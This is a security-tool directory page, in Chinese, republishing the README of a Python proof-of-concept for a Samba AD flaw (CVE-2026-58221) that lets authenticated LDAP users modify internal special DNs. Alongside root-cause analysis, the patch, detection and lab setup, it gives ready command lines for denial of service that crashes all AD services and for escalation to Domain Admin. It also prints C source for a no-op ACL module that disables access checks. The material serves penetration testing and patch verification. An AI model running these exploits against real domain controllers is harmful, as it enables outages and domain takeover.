Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-58221 — 针对 CVE-2026-58221 的 Python PoC:通过 LDAP 检查并利用 Samba AD LDB 特殊 DN ACL 绕过漏洞,以证明写入权限、使 AD 服务崩溃或提升至域管理员权限。 | Kitploit
工具/GitHubGitHub/devali00/cve-2026-58221
身份验证与授权权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试实验室与实践
GitHubdevali00/cve-2026-58221

CVE-2026-58221

针对 CVE-2026-58221 的 Python PoC:通过 LDAP 检查并利用 Samba AD LDB 特殊 DN ACL 绕过漏洞,以证明写入权限、使 AD 服务崩溃或提升至域管理员权限。

查看仓库
1个月前尚未审核
分享

CVE-2026-58221 — 通过修改 LDB 特殊 DN 接管 Samba AD 域

CVSS 8.8(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

任何经过身份验证的域用户都可以通过 LDAP 修改 Samba 内部的 LDB 特殊记录(@MODULES、@PARTITION、@SAMBA_DSDB),从而导致拒绝服务(使所有 AD 服务崩溃)或域管理员权限提升(在具备本地文件系统访问权限的情况下)。

受影响版本

状态版本
存在漏洞Samba AD DC >= 4.0.0(补丁之前的所有版本)
已修复4.22.11、4.23.x、4.24.x

安全公告: https://www.samba.org/samba/security/CVE-2026-58221.html

根本原因

两个缺陷共同作用,绕过了 Samba 内部 LDB 记录上的所有访问控制:

缺陷 1:rootdse_filter_operations() — 身份验证检查不充分

在 source4/dsdb/samdb/ldb_modules/rootdse.c 中,rootdse_filter_operations() 函数是 LDAP 请求链中的第一个过滤器。它仅拦截匿名调用者——任何经过身份验证的用户都能通过,无论其权限如何:

// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // Only blocks anonymous — all authenticated users pass through
    if (session_info->security_token == anonymous_token) {
        return LDB_ERR_OPERATIONS_ERROR;
    }
    return ldb_next_request(module, req);  // → passes to ACL module
}

缺陷 2:acl.c — 特殊 DN ACL 绕过

在 source4/dsdb/samdb/ldb_modules/acl.c 中,ACL 模块对 LDB 特殊 DN(以 @ 开头的那些)跳过所有权限检查,假定只有受信任的内部操作才会访问它们:

// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
    return ldb_next_request(module, req);  // NO permission check!
}

组合效果: 一个已认证的低权限域用户发送针对 @MODULES 的 LDAP 修改请求。该请求通过 rootdse_filter_operations()(非匿名),到达 acl.c,后者识别出特殊 DN 并跳过所有 ACL 检查——修改成功。

补丁(4.22.11+)

该修复在 rootdse_filter_operations() 中、请求到达 ACL 模块之前,添加了 ldb_dn_is_special() 检查:

// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // NEW: Block all operations on special DNs from external connections
    if (ldb_dn_is_special(req->op.*.message->dn)) {
        D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
        return LDB_ERR_OPERATIONS_ERROR;
    }
    // ... rest of function
}

架构深入剖析

LDB(Lightning Database)

LDB 是 Samba 的内部数据库(sam.ldb),相当于 Windows 的 NTDS.dit。它存储所有 Active Directory 对象,并使用模块链架构来处理请求。

samba_dsdb 元模块

samba_dsdb 是初始化整个 Samba 模块链(约 30 个模块)的唯一入口点。它:

  1. 从 samba_dsdb.c 中读取硬编码的模块列表(modules_list1、modules_list1a、tdb_modules_list、modules_list2)
  2. 设置 forced_module_msg 不透明数据——这会覆盖数据库中存储的任何 @PARTITION/modules 值
  3. 初始化 rootDSE、分区以及所有其他模块所依赖的不透明数据

这就是为什么单个模块无法独立加载——在没有 samba_dsdb 提供的上下文时,它们会以 Protocol error (2) 崩溃。这也是为什么修改数据库中的 @PARTITION/modules 对正在运行的模块链没有效果。

关键特殊 DN

DN用途修改影响
@MODULES/@LIST控制 Samba 每个连接加载哪些模块崩溃(如果从 samba_dsdb 更改)
@PARTITION分区配置和每个分区的模块被忽略(被 forced_module_msg 覆盖)
@SAMBA_DSDB内部 samba_dsdb 配置崩溃

利用方法

方法 1:safe-write(非破坏性)✅

将相同的值(@LIST: samba_dsdb)写回 @MODULES。在不影响任何服务的情况下证明写入访问权限。推荐用于渗透测试。

python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write

方法 2:dos(破坏性)⚠️

将 @MODULES/@LIST 替换为各个模块名称(排除 acl/aclread)。在下次连接时,模块在没有 samba_dsdb 上下文的情况下无法初始化 → 所有 AD 服务崩溃(LDAP、SMB、Kerberos、DNS)。

python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force

影响: AD 完全中断。恢复需要本地控制台访问。所有域身份验证停止。

方法 3:escalate(域管理员 — 需要本地访问)🔴

实现域管理员的完整利用链:

  1. 确认 @MODULES 可通过 LDAP 写入(远程)
  2. 编译 空操作 ACL 模块,使所有请求通过(本地)
  3. 替换 acl.so / aclread.so 为空操作版本(本地)
  4. 重启 Samba 以加载空操作模块(本地)
  5. 添加 目标用户到 Domain Admins 组,通过 LDAP(远程 — ACL 被绕过)
  6. 验证 DA 成员身份(远程)
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=user,CN=Users,DC=domain,DC=local'

空操作 ACL 模块源码:

#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
    return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
    .name="acl", .add=noop, .modify=noop,
    .del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
    return ldb_register_module(&ops);
}

工具模式

模式影响所需条件
--check无(安全)LDAPS + 域凭据
--assess无(分析)LDAPS + 域凭据
--exploit --method safe-write无(证明可写入)LDAPS + 域凭据
--exploit --method dosAD 完全中断LDAPS + 域凭据
--exploit --method escalate域管理员LDAPS + 域凭据 + DC 上的 sudo
--cleanup撤销提权LDAPS + 域凭据 + DC 上的 sudo
--fix恢复崩溃的 DCDC 上的本地控制台

使用示例

# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method safe-write

# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method dos --force

# Full Domain Admin escalation (requires sudo on DC)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'

# Reverse all changes after escalation
python3 exploit.py --cleanup -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'

# Fix crashed DC (run on the DC itself as root)
python3 exploit.py --fix

前置条件

  • ldap-utils(ldapsearch、ldapmodify)— apt install ldap-utils
  • Python 3.6+
  • 与目标 DC 的 LDAPS 连接(端口 636)
  • 有效的域凭据(任意已认证用户 — 无需特殊权限)
  • 对于 escalate/cleanup:在 DC 上具有 sudo 权限 + gcc、libldb-dev、pkg-config

证据收集

所有模式都会自动生成一个 cve-2026-58221-evidence.json 文件,其中包含每个步骤的带时间戳条目,适合纳入渗透测试报告。

修复

  1. 升级 Samba 至 >= 4.22.11(或 4.23.x / 4.24.x 分支中的最新版本)
  2. 验证补丁 通过运行 --check 模式 — 应返回 "NOT VULNERABLE"
  3. 监控日志 中的 CVE-2026-58221-ATTACK 条目(由补丁添加)

检测

补丁(4.22.11+)会记录被阻止的尝试:

D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...))

在未打补丁的系统上,监控针对以 @ 开头的 DN 的 LDAP 修改操作。

实验环境搭建

为了安全地测试此 PoC,请在隔离环境中部署一个 Samba AD DC:

# Debian 12 / Ubuntu 22.04+
apt install samba smbclient winbind krb5-user ldap-utils

# Provision domain
samba-tool domain provision \
  --realm=LAB.LOCAL --domain=LAB \
  --server-role=dc --dns-backend=SAMBA_INTERNAL \
  --adminpass='YourAdminPass!'

# Configure LDAPS
# (TLS certs are auto-generated in /var/lib/samba/private/tls/)
# Add to /etc/samba/smb.conf [global]:
#   tls enabled  = yes
#   tls keyfile  = /var/lib/samba/private/tls/key.pem
#   tls certfile = /var/lib/samba/private/tls/cert.pem
#   tls cafile   = /var/lib/samba/private/tls/ca.pem
#   ldap server require strong auth = allow_sasl_over_tls

systemctl start samba-ad-dc

# Create test user
samba-tool user create testuser 'TestP@ss123!'

免责声明

本工具仅供授权的安全测试与研究使用。请仅在您拥有或已获得明确书面许可进行测试的系统上使用本工具。未经授权访问计算机系统属于违法行为。作者不对本工具的任何滥用行为承担责任。

作者

Ali El Boury

许可证

MIT 许可证 — 参见 LICENSE

参考资料

  • Samba 安全公告 — CVE-2026-58221
  • Samba 源代码 — rootdse.c
  • Samba 源代码 — acl.c
  • Samba 源代码 — samba_dsdb.c
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    420
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

探索所有工具

浏览我们的工具集合

查看所有工具 →